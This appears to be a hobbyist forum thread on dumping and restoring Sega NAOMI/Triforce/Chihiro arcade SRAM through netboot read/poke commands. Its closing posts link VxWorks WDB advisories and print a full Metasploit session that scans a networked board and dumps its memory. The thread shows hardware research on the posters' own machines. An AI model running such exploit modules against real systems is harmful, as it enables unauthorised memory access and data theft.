What's new

winteriscoming

Champion
Joined
Feb 16, 2016
Messages
1,440
Reaction score
1,185
Location
Indiana, US
According to the post here, the tools for backing up and restoring SRAM are at our fingertips:

its all has been figured out far ago. games store all its work data in 32KB SRAM (battery backuped) on NAOMI motherboard. high scores, settings, unlockables, play stats etc - all is there.

so, perhaps it worth to solve problem in general insted of hacking all the games ?

I mean make tool for backup SRAM contents before uploading new game, and restoring it back later ?
existent triforcetools.py have functions for this - HOST_Read4 HOST_Poke4
so someone have to implement routines which will read/write SRAM area (0xA0200000 - 0xA0207FFF) using that functions
Let's figure this out. MetalliC has generously shared the address range for NAOMI games. I'm curious to know if the same applies to Chihiro and Triforce. I'm also curious to know, lacking specific addresses, if we could get away with dumping the entire SRAM contents. I think we'd know the size per the motherboard in use.

Looking at the triforcetools.py, I see both of these functions, so it seems like all we'd need to do is implement a script that takes an input in the form of a filename, an input for read or write, and system type(assuming it's different for NAOMI, Triforce or Chihiro). Then the script would run either the Read or Poke command and loop through the data 4 bytes at a time until finished.

From various sources, I gather the following SRAM sizes, but no idea if these are correct:
NAOMI: 64KB (source)
NAOMI2: 32KB (source)
Chihiro: 1Mbit (source)
Triforce: 12MB (source) or 2MB (source) - not sure which of these is the one accessible through the netboot protocol and stores the saved data
 
Last edited:
I dont know Triforce and Chihiro internals in much details, but I'm afraid it will be not easy if possible to use such tricks there.
both of them have SRAM (which potentially can be used by games to store some data) not on main board but on BaseBoards. in the case of Triforce BaseBoard seems not accessible by CPU directly, but using DMA or smth, so Read/Poke commands can't be used.
in Chihiro... I'd guess BaseBoard devices mapped somewhere in PCI address space, but have no idea where.

on other hand - NAOMI/NAOMI2 is piece of cake for sure :)
both have 32KB for game NVdata directly accesible by CPU at mentioned earlier address range.
 
I dont know Triforce and Chihiro internals in much details, but I'm afraid it will be not easy if possible to use such tricks there.
both of them have SRAM (which potentially can be used by games to store some data) not on main board but on BaseBoards. in the case of Triforce BaseBoard seems not accessible by CPU directly, but using DMA or smth, so Read/Poke commands can't be used.
in Chihiro... I'd guess BaseBoard devices mapped somewhere in PCI address space, but have no idea where.

on other hand - NAOMI/NAOMI2 is piece of cake for sure :)
both have 32KB for game NVdata directly accesible by CPU at mentioned earlier address range.
I admit that I'm am out of my depth on much of what's happening here, but I notice in the comments for triforcetools.py, it lists:
# Peeks 16 bytes from Host (gamecube) memory

Does that not indicate accessing SRAM on the Triforce?

I've been playing around with the HOST_Read16 function on Chihiro, and I can get it to return something, but it mostly looks like repeating garbage.
 
Does that not indicate accessing SRAM on the Triforce?
that you mean by "SRAM on the Triforce" ?main RAM (which is 1T SRAM) - yes for sure.
battery backuped SRAM on Baseboard (32KB CY7C1399) - likely no.
Ah, ok.

I've been messing around with the script on NAOMI2 and keep getting dumps of all zeros. Is the space where settings are saved separate?
 
usually its not. try reading from lets say 0xA0000000 address, or 0 - there is BIOS start
or 0xAC000300 / 0x8C000300 - there must be "NAOMI" text
 
Ok, progress. I made a guess and started changing the "type" variable for the HOST_Read4 function. It was defaulting to 0. I would get some data when putting it to 1, a little more at 2, and 3 gives me "NAOMI" for the range starting at 0xAC000300.

Now doing the range (0xA0200000 - 0xA0207FFF) gives me some data.
 
@MetalliC if I were to post a couple of dumps do you think you'd be able to tell if they look correct? I want to make sure I'm reading and saving out data correctly before I get into writing it back.

Would demul be able to open these dumps as a save file?

Edit: Also, before I get too far into writing out data through the poke command, am I in danger of damaging anything or is this all just sitting in RAM and critical portions would be restored on reboot?
 
Last edited:
Attached are an SRAM dump from Initial D3 and Crazy Taxi:

For ID3, I went into the test menu and set the following in Game Assignments to something other than the default
Game Difficulty: Very Hard
Default View: Rear
Card R/W: OFF

For Crazy Taxi, I went into Game Assignments and changed:
Start Time: 70
Time Difficulty: 1/8
Game Difficulty: 1/8

It results in 2 very different looking files, but a quick scroll through makes me think nothing is being be stored in ASCII. My biggest concern, given the "NAOMI" test would be that I still don't have it configured correctly to give a complete dump. Setting "type" to something higher than 3 results in nothing. It's only 1-3 that gives data, with 3 looking to be the most complete. Though not specified in the function, it looks like the HOST_Poke4 function might also have a type variable in the sent packet, so not sure if that will need to be set to 3 as well to match the Read function. I guess testing for poke would be to read right after and see if I receive back what I just wrote.
 

Attachments

  • SRAM Dumps - ID3 - CT.zip
    26.9 KB · Views: 57
sadly not good results. both binary was dumped from naomi main RAM, ie 0xAC200000 instead of backup SRAM 0xA0200000

here is expected SRAM dumps from CT and ID3, perhaps some of "Type" can give expected result ?
View attachment sram.zip

its also worth do the tests in BIOS test mode, not during game run.
SRAM access can not be made in the same time with DIMM/cart DMA access, which games usually do constantly for music streaming from DIMM.

PS: in any way people can use these Poke function for GameGenie-like cheating :)
 
Last edited:
I think something is happening with the address that gets sent, because it acts like it only looks at the last 3 bytes in my address. I can put in address 0x200000 and get the same results as starting at 0xA0200000 or 0xAC200000...

It packs it all in a struct:
struct.pack("<III", 0x10000008, addr, type)

"<III" denotes little endian format and 3 unsigned int values (4 bytes).

As far as I can tell, it's packing the data correctly because I can print out the results of the struct and get what I expect, so not sure what's happening.
 
I've tried guessing at several things and can't get it to actually read from the full addresses. Anything beyond this point would just be random guessing on my part, so I think I'm at the extent of what I can do.
 
Did you try the HOST_Read16 function as well to instead read 16 bytes? It doesn't take a type so no need to guess there.
 
Did you try the HOST_Read16 function as well to instead read 16 bytes? It doesn't take a type so no need to guess there.
That one results in garbage for me.

Edit: At any rate, the HOST_Poke4 function has the same issue because I experimented with writing data and when I read it's from the same place, ignoring the larger address.
 
In that case it may be that the netdimm cannot read the SRAM.

Or maybe it just takes another command not documented in triforcetools.

Edit: Another idea is that someone could make a modified BIOS that relocates SRAM read/writes to the end of the netdimm RAM.
 
Last edited:
I did a quick test today with HOST_Read16 in test mode and still get repeating garbage for that one. I'm not sure why HOST_Read4 works a little better.
 
I heard WDB for vXworks is open in some cases, I wonder if we can use known vulnerabilities in the operating system to help out in dumping the memory contents you are after?

“Regardless of satellite mode, boards with ethernet listen on UDP port 17185 which is VxWorks WDB.”
https://wiki.arcadeotaku.com/w/Sega_Naomi_DIMM_board_and_GD-ROM

https://ics-cert.us-cert.gov/advisories/ICSA-10-214-01
Wind River VxWorks Vulnerabilities
https://blog.rapid7.com/2010/08/02/shiny-old-vxworks-vulnerabilities/
VxWorks WDB Agent Remote Memory Dump - https://www.rapid7.com/db/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump
VxWorks WDB Agent Remote Reboot - https://www.rapid7.com/db/modules/auxiliary/admin/vxworks/wdbrpc_reboot
VxWorks WDB Agent Boot Parameter Scanner - https://www.rapid7.com/db/modules/auxiliary/scanner/vxworks/wdbrpc_bootline
VxWorks WDB Agent Version Scanner - https://www.rapid7.com/db/modules/auxiliary/scanner/vxworks/wdbrpc_version
 
Yes! It is indeed vulnerable!

Untitled.jpeg




=[ metasploit v5.0.0-dev-b0392ae6ba ]
+ -- --=[ 1771 exploits - 1009 auxiliary - 307 post ]
+ -- --=[ 537 payloads - 41 encoders - 10 nops ]
+ -- --=[ ** This is Metasploit 5 development branch ** ]

msf5 > use auxiliary/scanner/vxworks/wdbrpc_bootline
msf5 auxiliary(scanner/vxworks/wdbrpc_bootline) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
msf5 auxiliary(scanner/vxworks/wdbrpc_bootline) > run

[+] 192.168.1.2: 5.3.1 SH7091 host:/vxWorks
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/vxworks/wdbrpc_bootline) > use auxiliary/admin/vxworks/wdbrpc_memory_dump
msf5 auxiliary(admin/vxworks/wdbrpc_memory_dump) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf5 auxiliary(admin/vxworks/wdbrpc_memory_dump) > set LPATH /tmp/SegaNaomiMemory.dmp
LPATH => /tmp/SegaNaomiMemory.dmp
msf5 auxiliary(admin/vxworks/wdbrpc_memory_dump) > run

[*] Attempting to dump system memory, starting at offset 0x00
[*] 192.168.1.2 Connected to 5.3.1 - SH7091 (host:/vxWorks)
[*] Dumping 0x01000000 bytes from base address 0x0c000000 at offset 0x00000000...
[*] [ 00 % ] Downloaded 0x00000b48 of 0x01000000 bytes (complete at 2018-06-02 14:30:44 -0400)
[*] [ 00 % ] Downloaded 0x000010ec of 0x01000000 bytes (complete at 2018-06-02 14:30:30 -0400)
[*] [ 00 % ] Downloaded 0x00001690 of 0x01000000 bytes (complete at 2018-06-02 14:30:26 -0400)
[*] [ 00 % ] Downloaded 0x00001c34 of 0x01000000 bytes (complete at 2018-06-02 14:30:24 -0400)
[*] [ 00 % ] Downloaded 0x000021d8 of 0x01000000 bytes (complete at 2018-06-02 14:30:23 -0400)
[*] [ 00 % ] Downloaded 0x0000277c of 0x01000000 bytes (complete at 2018-06-02 14:30:21 -0400)
[*] [ 00 % ] Downloaded 0x000032c4 of 0x01000000 bytes (complete at 2018-06-02 14:30:24 -0400)
[*] [ 00 % ] Downloaded 0x00003868 of 0x01000000 bytes (complete at 2018-06-02 14:30:22 -0400)
[*] [ 00 % ] Downloaded 0x00003e0c of 0x01000000 bytes (complete at 2018-06-02 14:30:21 -0400)
[*] [ 00 % ] Downloaded 0x000043b0 of 0x01000000 bytes (complete at 2018-06-02 14:30:20 -0400)
...
[*] [ 99 % ] Downloaded 0x00ffdaf0 of 0x01000000 bytes (complete at 2018-06-02 14:30:12 -0400)
[*] [ 99 % ] Downloaded 0x00ffe094 of 0x01000000 bytes (complete at 2018-06-02 14:30:12 -0400)
[*] [ 99 % ] Downloaded 0x00ffe638 of 0x01000000 bytes (complete at 2018-06-02 14:30:12 -0400)
[*] [ 99 % ] Downloaded 0x00fff180 of 0x01000000 bytes (complete at 2018-06-02 14:30:12 -0400)
[*] [ 99 % ] Downloaded 0x00fff724 of 0x01000000 bytes (complete at 2018-06-02 14:30:12 -0400)
[*] [ 99 % ] Downloaded 0x00fffcc8 of 0x01000000 bytes (complete at 2018-06-02 14:30:12 -0400)
[*] [ 100 % ] Downloaded 0x0100026c of 0x01000000 bytes (complete at 2018-06-02 14:30:12 -0400)
[*] Dumped 0x0100026c bytes.
[*] Auxiliary module execution completed
 
Uhhh yeah I think you guys wanna look at this

$ strings /tmp/SegaNaomiMemory.dmp

...
lnxxx(0,0)host:/vxWorks e=10.109.30.1:00000000
Copyright 1984-1998 Wind River Systems, Inc.
...
rror setting inet address of %s to %s, errno = %#x
Error: backplane driver referenced but not included.
Error: slip not included.
Error: ppp not included.
/vio
WDB exception. restarting agent in %d seconds...
/null
/tyCo/
%17s%s
VxWorks
Copyright 1984-1997 Wind River Systems, Inc.
CPU: %s
VxWorks: 5.3.1
BSP version: 1.2/1
Creation date: %s
Mar 5 2003
WDB: %s.
Ready
Agent configuration failed
gcxb-1.2.0
%s %s
00:33:51
gcxbMain
usrMain
CRC data broken.
NaomiIfTask
SocketControl
ComMemory
naoCtrl
naomicontrol
DimmProtocolTask
Sub board is not found.
no check
GC-AM mode.
XB-AM mode.
NAOMI mode.
DimmProtocolTask Spawn.
SH7091
1.2/1
lnxxx
AMD 79C970 Lance PCI Enhanced Network Driver
cified ...
ln97x: device requires cache coherent memory
ln97x: system memory unavailable
Babbling
Missing


First time Naomi Owner, coming from 1979 Gottlieb Pinball repair
 

Attachments

  • SegaNaomiMemory.dmp.zip
    397.1 KB · Views: 64
  • Like
Reactions: rtw
Back
Top